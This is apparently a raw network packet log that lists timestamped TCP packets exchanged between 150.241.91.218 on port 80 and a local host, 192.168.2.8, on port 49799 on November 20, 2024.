                                                                                                                                                              Nov 20, 2024 11:21:46.044609070 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.044619083 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.044672966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.044682026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.044689894 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.044703960 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.044785976 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.044809103 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.044819117 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.044864893 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.047338963 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047348022 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047357082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047365904 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047375917 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047384024 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047425032 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047435045 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047437906 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047451019 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.047518015 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.047535896 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047657013 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.047883034 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047892094 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047900915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047909021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.047962904 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.048088074 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.048335075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.048343897 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.048352003 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.048360109 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.048412085 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.048515081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.049200058 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.049210072 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.049217939 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.049293995 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.049508095 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.049622059 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.049631119 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.049639940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.049648046 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.049706936 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.049923897 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050071955 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050081968 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050090075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050147057 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.050373077 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050383091 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050390959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050400019 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050407887 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050458908 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.050523996 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050642967 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050652027 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.050812960 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.050949097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.051331043 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.051525116 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.051614046 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.051626921 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.051690102 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.052413940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.052428961 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.052506924 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.052654028 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.052716970 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.052726030 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.052764893 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.052783012 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.052838087 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.052866936 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.052876949 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.052917957 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.052961111 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.053435087 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.053468943 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.053540945 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.053807020 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.054709911 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.054792881 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.056571007 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.056587934 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.056596994 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.056860924 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.056859970 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.056876898 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.056896925 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.056905985 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.056915045 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.056968927 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.057005882 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.059052944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.059200048 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.059545994 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.059560061 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.059581995 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.059598923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.059602022 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.059618950 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.059658051 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.059791088 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.059802055 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.060045004 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.060077906 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.060183048 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.060194016 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.060203075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.060240984 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.060894966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.060906887 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.060915947 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.060925007 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.060987949 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.061153889 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.061163902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.061222076 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.062261105 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062271118 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062278986 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062302113 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062344074 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.062383890 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.062577009 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062587023 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062594891 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062616110 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062644958 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062654972 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062664986 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062674046 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062679052 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.062710047 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.062722921 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.062903881 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.062913895 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063066006 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.063075066 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063088894 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063097954 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063106060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063180923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063199043 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.063340902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063410997 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.063540936 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063551903 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063560963 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063572884 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063611031 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.063648939 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063661098 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063668966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.063718081 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.064034939 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.064047098 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.064058065 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.064070940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.064080000 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.064130068 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.064173937 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.064223051 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.064321995 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.064395905 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.064539909 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.064548969 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.064682007 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.064821959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.064836979 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.065423965 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.065448046 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.065481901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.065557003 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.066791058 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.066802979 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.066911936 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.066941023 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.066953897 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.067013979 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.067037106 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.068100929 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.068206072 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.068212032 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.068330050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.068344116 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.068511963 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.068522930 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.068532944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.068538904 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.068587065 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.068599939 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.068655014 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.068656921 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.068701029 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.068917036 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.069019079 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.069053888 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.069317102 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.069428921 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.069437027 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.069451094 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.069645882 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.069663048 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.069673061 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.069684029 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.069737911 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.069786072 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.069803953 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.069881916 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.069907904 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.070061922 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.070112944 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.070128918 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.070390940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.070401907 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.070645094 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.070662975 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.070749044 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.070816040 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.070847034 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.071152925 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.071414948 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.071571112 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.071578026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.071595907 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.071630001 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.071655035 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.071657896 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.071773052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.071868896 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.071877003 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.072093010 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.073147058 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.073213100 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.073270082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.073281050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.073280096 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.073349953 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.073596001 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.073730946 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.073741913 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.073865891 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.073879957 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.073899984 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.073914051 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.073972940 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.074004889 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.074023008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.074091911 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.074165106 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.074218988 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.074300051 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.074301004 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.074409008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.074457884 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.074578047 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.074582100 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.074769974 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.074784994 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.074794054 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.074896097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075021029 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.075040102 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075083971 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075107098 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.075133085 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.075196028 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075321913 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075361967 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075407028 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.075428963 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075642109 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075808048 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.075814009 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075829029 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075920105 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075932026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.075975895 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.076041937 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.076137066 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.076224089 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.076256990 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.076363087 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.076373100 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.076534033 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.076585054 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.076617956 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.077461004 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.077548027 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.077552080 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.077626944 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.077637911 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.077707052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.077842951 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.079998970 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.080009937 CET8049799150.241.91.218192.168.2.8
